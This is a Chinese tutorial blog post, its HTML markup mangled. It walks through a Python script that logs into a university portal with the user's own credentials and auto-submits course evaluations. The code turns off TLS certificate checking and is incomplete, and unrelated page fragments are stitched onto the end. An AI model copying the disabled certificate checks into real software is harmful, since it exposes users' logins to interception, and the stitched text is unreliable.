&span class=&kn&&import&/span& &span class=&nn&&urllib.request&/span&
&span class=&kn&&from&/span& &span class=&nn&&bs4&/span& &span class=&kn&&import&/span& &span class=&n&&BeautifulSoup&/span& &span class=&k&&as&/span& &span class=&n&&bs&/span&
&span class=&k&&def&/span& &span class=&nf&&warn&/span&&span class=&p&&(&/span&&span class=&o&&*&/span&&span class=&n&&args&/span&&span class=&p&&,&/span& &span class=&o&&**&/span&&span class=&n&&kw&/span&&span class=&p&&):&/span& &span class=&k&&pass&/span&
&span class=&kn&&import&/span& &span class=&nn&&warnings&/span&
&span class=&n&&warnings&/span&&span class=&o&&.&/span&&span class=&n&&warn&/span& &span class=&o&&=&/span& &span class=&n&&warn&/span&
&span class=&k&&print&/span&&span class=&p&&(&/span&&span class=&s1&&'请输入用户名:'&/span&&span class=&p&&)&/span&
&span class=&n&&username&/span& &span class=&o&&=&/span& &span class=&nb&&input&/span&&span class=&p&&()&/span&
&span class=&k&&print&/span&&span class=&p&&(&/span&&span class=&s1&&'请输入密码:'&/span&&span class=&p&&)&/span&
&span class=&n&&password&/span& &span class=&o&&=&/span& &span class=&nb&&input&/span&&span class=&p&&()&/span&
&span class=&n&&login_url&/span& &span class=&o&&=&/span& &span class=&s1&&'/index.jsp?service=/Authentication'&/span&
&span class=&k&&def&/span& &span class=&nf&&get_LT&/span&&span class=&p&&(&/span&&span class=&n&&login_url&/span&&span class=&p&&):&/span&
&span class=&n&&html&/span& &span class=&o&&=&/span& &span class=&n&&requests&/span&&span class=&o&&.&/span&&span class=&n&&get&/span&&span class=&p&&(&/span&&span class=&n&&login_url&/span&&span class=&p&&,&/span& &span class=&n&&verify&/span&&span class=&o&&=&/span&&span class=&bp&&False&/span&&span class=&p&&)&/span&&span class=&o&&.&/span&&span class=&n&&text&/span&
&span class=&n&&regex&/span& &span class=&o&&=&/span& &span class=&n&&re&/span&&span class=&o&&.&/span&&span class=&n&&compile&/span&&span class=&p&&(&/span&&span class=&s1&&'&input type=&hidden& name=&lt& value=&(.*?)& /&'&/span&&span class=&p&&)&/span&
&span class=&n&&lt&/span& &span class=&o&&=&/span& &span class=&n&&re&/span&&span class=&o&&.&/span&&span class=&n&&findall&/span&&span class=&p&&(&/span&&span class=&n&&regex&/span&&span class=&p&&,&/span& &span class=&n&&html&/span&&span class=&p&&)[&/span&&span class=&mi&&0&/span&&span class=&p&&]&/span&
&span class=&k&&return&/span& &span class=&n&&lt&/span&
&span class=&n&&LT&/span& &span class=&o&&=&/span& &span class=&n&&get_LT&/span&&span class=&p&&(&/span&&span class=&n&&login_url&/span&&span class=&p&&)&/span&
&span class=&n&&data&/span& &span class=&o&&=&/span& &span class=&p&&{&/span&
&span class=&s1&&'lt'&/span&&span class=&p&&:&/span& &span class=&n&&LT&/span&&span class=&p&&,&/span&
&span class=&s1&&'password'&/span&&span class=&p&&:&/span& &span class=&n&&password&/span&&span class=&p&&,&/span&
&span class=&s1&&'username'&/span&&span class=&p&&:&/span& &span class=&n&&username&/span&
&span class=&p&&}&/span&
&span class=&n&&s&/span& &span class=&o&&=&/span& &span class=&n&&requests&/span&&span class=&o&&.&/span&&span class=&n&&Session&/span&&span class=&p&&()&/span&
&span class=&n&&s&/span&&span class=&o&&.&/span&&span class=&n&&post&/span&&span class=&p&&(&/span&&span class=&n&&login_url&/span&&span class=&p&&,&/span& &span class=&n&&data&/span&&span class=&o&&=&/span&&span class=&n&&data&/span&&span class=&p&&,&/span& &span class=&n&&headers&/span&&span class=&o&&=&/span&&span class=&n&&headers&/span&&span class=&p&&,&/span& &span class=&n&&verify&/span&&span class=&o&&=&/span&&span class=&bp&&False&/span&&span class=&p&&)&/span&
&/code&&/pre&&/div&&p&开头重定义了warning.warn函数是因为运行过程中会出现警告,那是由于我们官网的证书问题,所以在这里requests.Session的verify也需要赋值False,要不然就会报错了。&/p&&p&登入成功后我们继续监控浏览器的行为,找到评教的界面(如果在代码中只需要访问评教的url即可)&/p&&p&&img data-rawheight=&481& data-rawwidth=&1079& src=&/1a9e54dfda0fd935bf9fe94_b.png& class=&origin_image zh-lightbox-thumb& width=&1079& data-original=&/1a9e54dfda0fd935bf9fe94_r.png&&点击教学评估按钮,在监控框找到上图右侧表单的html&/p&&p&&img data-rawheight=&436& data-rawwidth=&1169& src=&/9006cfcbfa0dfcec344e3_b.png& class=&origin_image zh-lightbox-thumb& width=&1169& data-original=&/9006cfcbfa0dfcec344e3_r.png&&这个html界面蕴含着六个重要参数,在后面的post请求中需要用到。然后点击右侧评教的按钮,这里会监控到一个post请求&/p&&p&&img data-rawheight=&308& data-rawwidth=&537& src=&/f0bc0d28f5b9a_b.png& class=&origin_image zh-lightbox-thumb& width=&537& data-original=&/f0bc0d28f5b9a_r.png&&这里的bpr,bprm,pgnr,pgnrm,wjbm,wjmc参数就保存在上面的html中的img标签下面&/p&&div class=&highlight&&&pre&&code class=&language-html&&&span&&/span&&span class=&p&&&&/span&&span class=&nt&&img&/span& &span class=&na&&name&/span&&span class=&o&&=&/span&&span class=&s&&&#@#@刘兴杰#@151602学生网上评教#@体育达标#@&&/span& &span class=&na&&style&/span&&span class=&o&&=&/span&&span class=&s&&&cursor:&&/span&
&/code&&/pre&&/div&&p&相信大家都能发现参数与他们之间的对应关系了吧。&/p&&p&提取参数的代码参考:&/p&&div class=&highlight&&&pre&&code class=&language-python&&&span&&/span&&span class=&n&&cs_url&/span& &span class=&o&&=&/span& &span class=&s1&&'/jxpgXsAction.do?oper=listWj'&/span& &span class=&c1&&#html对应的url&/span&
&span class=&n&&cs_html&/span& &span class=&o&&=&/span& &span class=&n&&s&/span&&span class=&o&&.&/span&&span class=&n&&get&/span&&span class=&p&&(&/span&&span class=&n&&cs_url&/span&&span class=&p&&,&/span& &span class=&n&&headers&/span&&span class=&o&&=&/span&&span class=&n&&headers1&/span&&span class=&p&&,&/span& &span class=&n&&verify&/span&&span class=&o&&=&/span&&span class=&bp&&False&/span&&span class=&p&&)&/span&&span class=&o&&.&/span&&span class=&n&&text&/span&
&span class=&n&&hiden_regex&/span& &span class=&o&&=&/span& &span class=&n&&re&/span&&span class=&o&&.&/span&&span class=&n&&compile&/span&&span class=&p&&(&/span&&span class=&s1&&'&img name=&(.*?)&'&/span&&span class=&p&&)&/span&
&span class=&n&&cs_list&/span& &span class=&o&&=&/span& &span class=&n&&re&/span&&span class=&o&&.&/span&&span class=&n&&findall&/span&&span class=&p&&(&/span&&span class=&n&&hiden_regex&/span&&span class=&p&&,&/span& &span class=&n&&cs_html&/span&&span class=&p&&)&/span&
&span class=&n&&bpr_list&/span& &span class=&o&&=&/span& &span class=&p&&[&/span&&span class=&n&&i&/span&&span class=&o&&.&/span&&span class=&n&&split&/span&&span class=&p&&(&/span&&span class=&s1&&'#@'&/span&&span class=&p&&)[&/span&&span class=&mi&&1&/span&&span class=&p&&]&/span& &span class=&k&&for&/span& &span class=&n&&i&/span& &span class=&ow&&in&/span& &span class=&n&&cs_list&/span&&span class=&p&&]&/span&
&span class=&n&&kx_list&/span& &span class=&o&&=&/span& &span class=&p&&[&/span&&span class=&n&&i&/span&&span class=&o&&.&/span&&span class=&n&&split&/span&&span class=&p&&(&/span&&span class=&s1&&'#@'&/span&&span class=&p&&)[&/span&&span class=&mi&&5&/span&&span class=&p&&]&/span& &span class=&k&&for&/span& &span class=&n&&i&/span& &span class=&ow&&in&/span& &span class=&n&&cs_list&/span&&span class=&p&&]&/span&
&span class=&n&&pgnrm_list&/span& &span class=&o&&=&/span& &span class=&p&&[&/span&&span class=&n&&i&/span&&span class=&o&&.&/span&&span class=&n&&split&/span&&span class=&p&&(&/span&&span class=&s1&&'#@'&/span&&span class=&p&&)[&/span&&span class=&mi&&4&/span&&span class=&p&&]&/span& &span class=&k&&for&/span& &span class=&n&&i&/span& &span class=&ow&&in&/span& &span class=&n&&cs_list&/span&&span class=&p&&]&/span&
&span class=&n&&bprm_list&/span& &span class=&o&&=&/span& &span class=&p&&[&/span&&span class=&n&&i&/span&&span class=&o&&.&/span&&span class=&n&&split&/span&&span class=&p&&(&/span&&span class=&s1&&'#@'&/span&&span class=&p&&)[&/span&&span class=&mi&&2&/span&&span class=&p&&]&/span& &span class=&k&&for&/span& &span class=&n&&i&/span& &span class=&ow&&in&/span& &span class=&n&&cs_list&/span&&span class=&p&&]&/span&
&span class=&n&&wjmc_list&/span& &span class=&o&&=&/span& &span class=&p&&[&/span&&span class=&n&&i&/span&&span class=&o&&.&/span&&span class=&n&&split&/span&&span class=&p&&(&/span&&span class=&s1&&'#@'&/span&&span class=&p&&)[&/span&&span class=&mi&&3&/span&&span class=&p&&]&/span& &span class=&k&&for&/span& &span class=&n&&i&/span& &span class=&ow&&in&/span& &span class=&n&&cs_list&/span&&span class=&p&&]&/span&
&/code&&/pre&&/div&&p&随后构造上面的post请求即可打开,评教的相关项目界面&/p&&p&&img data-rawheight=&603& data-rawwidth=&586& src=&/aba5c68d4baa4da83a97_b.png& class=&origin_image zh-lightbox-thumb& width=&586& data-original=&/aba5c68d4baa4da83a97_r.png&&这里是由于我已经评教了所以字体都高亮了。&/p&&p&最后一步就是提交选项及其相关参数的表单信息,继续监督浏览器自己做实验的时候需要评教一门课程,这样可以分析post的信息,由于我已经评教了不能再评教了,因此不能截取浏览器的post了,所以我贴一下我最开始的监测到的post信息。&/p&&p&&img data-rawheight=&370& data-rawwidth=&277& src=&/d442ec62cc9d96f755d27_b.png& class=&content_image& width=&277&&解释一下:-是对应的题目,5_1,...,4_1是对应的第一个选项,我这里全是选择第一个选项,即是全部都评满意,这里大家可以即兴发挥。到这里全部的原理就分析结束了。&/p&&p&运行代码结果截图:&/p&&img data-rawheight=&673& data-rawwidth=&946& src=&/05e74a8d12b2ea8b229c52507cbc094a_b.jpg& class=&origin_image zh-lightbox-thumb& width=&946& data-original=&/05e74a8d12b2ea8b229c52507cbc094a_r.jpg&&&img data-rawheight=&509& data-rawwidth=&1060& src=&/35527cedbf_b.png& class=&origin_image zh-lightbox-thumb& width=&1060& data-original=&/35527cedbf_r.png&&&p&&u&&b&以上仅作技术上的交流,请勿用于违反校规校纪的场合。&/b&&/u&&/p&&p&&u&&b&以上仅作技术上的交流,请勿用于违反校规校纪的场合。&/b&&/u&&/p&&p&&u&&b&以上仅作技术上的交流,请勿用于违反校规校纪的场合&/b&&/u&。 &/p&
鉴于先前回答了一个问题
导致有一些知友私信我,问我是怎么实现一键评教功能的。所以就打算写篇文章描述我当时是怎么实现这个功能的,声明我只是个python基础学习者,以下仅为个人的一些观点,不足之处还请各位多多担待。 开门见山吧…
不是国内的培训才叫培训。&br&&br&我不确定国内的培训班收多少钱,以前接触过一个哥们一年交一万的,求职心切可以理解,但国外像&a href=&///?target=http%3A///fs-bin/click%3Fid%3DAPO4MvQOMqo%26offerid%3D%26type%3D3%26subid%3D0& class=& wrap external& target=&_blank& rel=&nofollow norefe}

我要回帖

更多关于 情况说明格式 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信